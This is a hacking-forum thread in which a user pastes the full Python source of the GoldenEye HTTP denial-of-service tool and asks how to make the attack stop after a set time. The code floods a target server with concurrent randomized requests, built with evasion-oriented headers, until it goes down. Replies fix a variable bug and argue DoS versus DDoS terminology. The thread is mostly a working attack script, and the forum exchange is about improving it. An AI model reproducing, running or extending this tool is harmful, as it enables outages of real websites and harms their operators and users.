

Forum:[Hack Forums](#)

Thread: [How to Make a time and after the Attack sleep](#)

SmoZyNS - March 21, 2014, 2:38 pm

Hello i have a DDOS python script.

but the problem is : i can't lake a time and after the attack stopped like .c classic script ddos.

the script :

Code `#!/usr/bin/env python`

```
.....
$Id: $

/$$$$$$ /$ /$ /$$$$$
/$$ _ $ $ |$ $ |$ $ |$$_/
|$$_ _/ /$$$$$ |$ /$$$$$ /$$$$$ /$$$$$ |$ /$ /$ /$$$$$
|$ /$$$$ /$ _ $ $ |$ /$ _ $ /$ _ $ $ |$ _ $ $ |$ $$$$ |$ |$ /$ _ $ $
|$$_ $ $ |$ $ \ $ $ |$ $ |$ $ |$ $$$$ |$ $ \ $ $ |$$_/ |$ $ |$ $ |$ $$$$
|$ $ \ $ $ |$ $ |$ $ |$ $ |$ $ |$$_/ |$ $ |$ $ |$ $ _/
|$ $$$$/ |$ $$$$/ |$ $ |$ $$$$ |$ $$$$ |$ $ |$ $ |$ $$$$ |$ $$$$ |$ $$$$
\_ _/ \_ _/ |\_ _/ \_ _/ |\_ _/ |\_ _/ \_ _/ $$_ _/
/$$ |$ $
| $$$$$/
\_ _/
```

This tool is a dos tool that is meant to put heavy load on HTTP servers in order to bring them to their knees by exhausting the resource pool.

This tool is meant for research purposes only and any malicious usage of this tool is prohibited.

@author Jan Seidl <<http://wroot.org/>>

@date 2013-03-26

@version 2.0

@TODO Test in python 3.x

LICENSE:

This software is distributed under the GNU General Public License version 3 (GPLv3)

LEGAL NOTICE:

THIS SOFTWARE IS PROVIDED FOR EDUCATIONAL USE ONLY!
IF YOU ENGAGE IN ANY ILLEGAL ACTIVITY
THE AUTHOR DOES NOT TAKE ANY RESPONSIBILITY FOR IT.
BY USING THIS SOFTWARE YOU AGREE WITH THESE TERMS.

.....

```
from multiprocessing import Process, Manager
import urlparse, ssl
import sys, getopt, random, time
```

```
# Python version-specific
if sys.version_info < (3,0):
    # Python 2.x
    import httplib
    HTTPCLIENT = httplib
else:
    # Python 3.x
    import http.client
    HTTPCLIENT = http.client
```

```
#####
# Config
#####
DEBUG = False
```

```
#####
# Constants
#####
METHOD_GET = 'get'
METHOD_POST = 'post'
METHOD_RANDOM = 'random'
```

```
JOIN_TIMEOUT=1.0
```

```
DEFAULT_WORKERS=50
DEFAULT_SOCKETS=30
```

```
#####
# GoldenEye Class
#####
```

```
class GoldenEye(object):
```

```
    # Counters
    counter = [0, 0]
    last_counter = [0, 0]
```

```
    # Containers
    workersQueue = []
    manager = None
```

```
    # Properties
    url = None
```

```
    # Options
    nr_workers = DEFAULT_WORKERS
    nr_sockets = DEFAULT_SOCKETS
    method = METHOD_GET
```

```

def __init__(self, url):

    # Set URL
    self.url = url

    # Initialize Manager
    self.manager = Manager()

    # Initialize Counters
    self.counter = self.manager.list((0, 0))

def exit(self):
    self.stats()
    print "Shutting down GoldenEye"

def __del__(self):
    self.exit()

def printHeader(self):

    # Taunt!
    print "GoldenEye firing!"

# Do the fun!
def fire(self):

    self.printHeader()
    print "Hitting webserver in mode {0} with {1} workers running {2} connections
each".format(self.method, self.nr_workers, self.nr_sockets)

    if DEBUG:
        print "Starting {0} concurrent Laser workers".format(self.nr_workers)

    # Start workers
    for i in range(int(self.nr_workers)):

        try:

            worker = Laser(self.url, self.nr_sockets, self.counter)
            worker.method = self.method

            self.workersQueue.append(worker)
            worker.start()
        except (Exception):
            error("Failed to start worker {0}".format(i))
            pass

    print "Initiating monitor"
    self.monitor()

def stats(self):

```

```

try:
    if self.counter[0] > 0 or self.counter[1] > 0:

        print "{0} GoldenEye punches deferred. ({1} Failed)".format(self.counter[0], self.counter[1])

        if self.counter[0] > 0 and self.counter[1] > 0 and self.last_counter[0] == self.counter[0] and
self.counter[1] > self.last_counter[1]:
            print "\tServer may be DOWN!"

            self.last_counter[0] = self.counter[0]
            self.last_counter[1] = self.counter[1]
except (Exception):
    pass # silently ignore

def monitor(self):
    while len(self.workersQueue) > 0:
        try:
            for worker in self.workersQueue:
                if worker is not None and worker.is_alive():
                    worker.join(JOIN_TIMEOUT)
                else:
                    self.workersQueue.remove(worker)

            self.stats()

        except (KeyboardInterrupt, SystemExit):
            print "CTRL+C received. Killing all workers"
            for worker in self.workersQueue:
                try:
                    if DEBUG:
                        print "Killing worker {0}".format(worker.name)
                        #worker.terminate()
                    worker.stop()
                except Exception, ex:
                    pass # silently ignore
                if DEBUG:
                    raise
                else:
                    pass

#####
# Laser Class
#####

class Laser(Process):

    # Counters
    request_count = 0
    failed_count = 0

    # Containers
    url = None
    host = None

```

```

port = 80
ssl = False
referers = []
useragents = []
socks = []
counter = None
nr_socks = DEFAULT_SOCKETS

# Flags
runnable = True

# Options
method = METHOD_GET

def __init__(self, url, nr_sockets, counter):

    super(Laser, self).__init__()

    self.counter = counter
    self.nr_socks = nr_sockets

    parsedUrl = urlparse.urlparse(url)

    if parsedUrl.scheme == 'https':
        self.ssl = True

    self.host = parsedUrl.netloc.split(':')[0]
    self.url = parsedUrl.path

    self.port = parsedUrl.port

    if not self.port:
        self.port = 80 if not self.ssl else 443

    self.referers = [
        'http://www.google.com/?q=',
        'http://www.usatoday.com/search/results?q=',
        'http://engadget.search.aol.com/search?q=',
        'http://' + self.host + '/'
    ]

    self.useragents = [
        'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
        'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
        'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
        'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
        'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
        'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
        'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727;

```

```
.NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727;
InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
]
```

```
def __del__(self):
    self.stop()
```

```
#builds random ascii string
```

```
def buildblock(self, size):
    out_str = "
```

```
    _LOWERCASE = range(97, 122)
    _UPPERCASE = range(65, 90)
    _NUMERIC = range(48, 57)
```

```
validChars = _LOWERCASE + _UPPERCASE + _NUMERIC
```

```
for i in range(0, size):
    a = random.choice(validChars)
    out_str += chr(a)
```

```
return out_str
```

```
def run(self):
```

```
    if DEBUG:
        print "Starting worker {0}".format(self.name)
```

```
    while self.runnable:
```

```
        try:
```

```
            for i in range(self.nr_socks):
```

```
                if self.ssl:
                    c = HTTPCLIENT.HTTPSConnection(self.host, self.port)
                else:
                    c = HTTPCLIENT.HTTPConnection(self.host, self.port)
```

```
                self.socks.append(c)
```

```
                for conn_req in self.socks:
```

```
                    (url, headers) = self.createPayload()
```

```
                    method = random.choice([METHOD_GET, METHOD_POST]) if self.method ==
METHOD_RANDOM else self.method
```

```

conn_req.request(method.upper(), url, None, headers)

for conn_resp in self.socks:

    resp = conn_resp.getresponse()
    self.incCounter()

    self.closeConnections()

except:
    self.incFailed()
    if DEBUG:
        raise
    else:
        pass # silently ignore

if DEBUG:
    print "Worker {0} completed run. Sleeping...".format(self.name)

def closeConnections(self):
    for conn in self.socks:
        try:
            conn.close()
        except:
            pass # silently ignore

def createPayload(self):

    req_url, headers = self.generateData()

    random_keys = headers.keys()
    random.shuffle(random_keys)
    random_headers = {}

    for header_name in random_keys:
        random_headers[header_name] = headers[header_name]

    return (req_url, random_headers)

def generateQueryString(self, ammount = 1):

    queryString = []

    for i in range(ammount):

        key = self.buildblock(random.randint(3,10))
        value = self.buildblock(random.randint(3,20))
        element = "{0}={1}".format(key, value)
        queryString.append(element)

    return '&'.join(queryString)

def generateData(self):

```

```

returnCode = 0
param_joiner = "?"

if len(self.url) == 0:
    self.url = '/'

if self.url.count("?") > 0:
    param_joiner = "&"

request_url = self.generateRequestUrl(param_joiner)

http_headers = self.generateRandomHeaders()

return (request_url, http_headers)

def generateRequestUrl(self, param_joiner = '?'):

    return self.url + param_joiner + self.generateQueryString(random.randint(1,5))

def generateRandomHeaders(self):

    # Random no-cache entries
    noCacheDirectives = ['no-cache', 'must-revalidate']
    random.shuffle(noCacheDirectives)
    noCache = ', '.join(noCacheDirectives)

    # Random accept encoding
    acceptEncoding = ['\'', '*', 'identity', 'gzip', 'deflate']
    random.shuffle(acceptEncoding)
    nrEncodings = random.randint(0, len(acceptEncoding)/2)
    roundEncodings = acceptEncoding[:nrEncodings]

    http_headers = {
        'User-Agent': random.choice(self.useragents),
        'Cache-Control': noCache,
        'Accept-Encoding': ', '.join(roundEncodings),
        'Connection': 'keep-alive',
        'Keep-Alive': random.randint(110,120),
        'Host': self.host,
    }

    # Randomly-added headers
    # These headers are optional and are
    # randomly sent thus making the
    # header count random and unfingerprintable
    if random.randrange(2) == 0:
        # Random accept-charset
        acceptCharset = ['ISO-8859-1', 'utf-8', 'Windows-1251', 'ISO-8859-2', 'ISO-8859-15', ]
        random.shuffle(acceptCharset)
        http_headers['Accept-Charset'] = '{0},{1};q={2},*;q={3}'.format(acceptCharset[0],
        acceptCharset[1], round(random.random(), 1), round(random.random(), 1))

```

```
if random.randrange(2) == 0:
    # Random Referer
    http_headers['Referer'] = random.choice(self.referers) + self.buildblock(random.randint(5,10))

if random.randrange(2) == 0:
    # Random Content-Type
    http_headers['Content-Type'] = random.choice(['multipart/form-data',
'application/x-url-encoded'])

if random.randrange(2) == 0:
    # Random Cookie
    http_headers['Cookie'] = self.generateQueryString(random.randint(1, 5))

return http_headers

# Housekeeping
def stop(self):
    self.runnable = False
    self.closeConnections()
    self.terminate()

# Counter Functions
def incCounter(self):
    try:
        self.counter[0] += 1
    except (Exception):
        pass

def incFailed(self):
    try:
        self.counter[1] += 1
    except (Exception):
        pass

####

#####

# Other Functions
#####

def usage():
    print
    print '-----'
    print ' USAGE: ./goldeneye.py <url> [OPTIONS]'
    print
    print ' OPTIONS:'
    print '\t Flag\t\tDescription\t\t\t\tDefault'
    print '\t -w, --workers\t\tNumber of concurrent workers\t\t\t(default:
{0})'.format(DEFAULT_WORKERS)
    print '\t -s, --sockets\t\tNumber of concurrent sockets\t\t\t(default:
{0})'.format(DEFAULT_SOCKETS)
    print '\t -m, --method\t\tHTTP Method to use \'get\' or \'post\' or \'random\'\t\t(default: get)'
    print '\t -d, --debug\t\tEnable Debug Mode [more verbose output]\t\t\t(default: False)'
```

```
print '\t -h, --help\t\tShows this help'
print '-----'
```

```
def error(msg):
    # print help information and exit:
    sys.stderr.write(str(msg+"\n"))
    usage()
    sys.exit(2)
```

```
#####
# Main
#####
```

```
def main():
```

```
    try:
```

```
        if len(sys.argv) < 2:
            error('Please supply at least the URL')
```

```
        url = sys.argv[1]
```

```
        if url == '-h':
            usage()
            sys.exit()
```

```
        if url[0:4].lower() != 'http':
            error("Invalid URL supplied")
```

```
        if url == None:
            error("No URL supplied")
```

```
        opts, args = getopt.getopt(sys.argv[2:], "dhw:s:m:", ["debug", "help", "workers", "sockets",
"method" ])
```

```
        workers = DEFAULT_WORKERS
        socks = DEFAULT_SOCKETS
        method = METHOD_GET
```

```
        for o, a in opts:
```

```
            if o in ("-h", "--help"):
                usage()
                sys.exit()
```

```
            elif o in ("-s", "--sockets"):
                socks = int(a)
```

```
            elif o in ("-w", "--workers"):
                workers = int(a)
```

```
            elif o in ("-d", "--debug"):
                global DEBUG
                DEBUG = True
```

```
            elif o in ("-m", "--method"):
                if a in (METHOD_GET, METHOD_POST, METHOD_PUT):
                    method = a
```

```

    else:
        error("method {0} is invalid".format(a))
    else:
        error("option '"+o+"' doesn't exists")

goldeneye = GoldenEye(url)
goldeneye.nr_workers = workers
goldeneye.method = method
goldeneye.nr_sockets = socks

goldeneye.fire()

except getopt.GetoptError, err:

    # print help information and exit:
    sys.stderr.write(str(err))
    usage()
    sys.exit(2)

if __name__ == "__main__":
    main()
i have thinks to make a variable
Code duration = int(sys.argv[3])
clock = (lambda:0, time.clock)[duration > 0]
duration = (1, (clock() + duration))[duration > 0]
and after make this

Code while True:
    if (clock() < duration):
        THE PROGRAMM
    else:
        break
but where put my code ...

thank for all help

```

Gasp - March 21, 2014, 2:52 pm

This isn't your own code I see. Maybe you could contact the author?

The duration variable is declared twice so it will throw an error at execution.

You would have your loop at the bottom of the coding and put the variables at the top of the loop so they are declared before any code including them is executed.

??1x1x1x1 - March 22, 2014, 5:02 am

I really hate it when people use ddos incorrectly.

This is only dos.

Sajuuk - March 22, 2014, 4:09 pm

This is a DoS, not a DDoS. Get it right from here on out.

NetworkDrop - April 14, 2014, 7:33 am

Why get excited ?

There is a Linux command to stop a program after a certain time.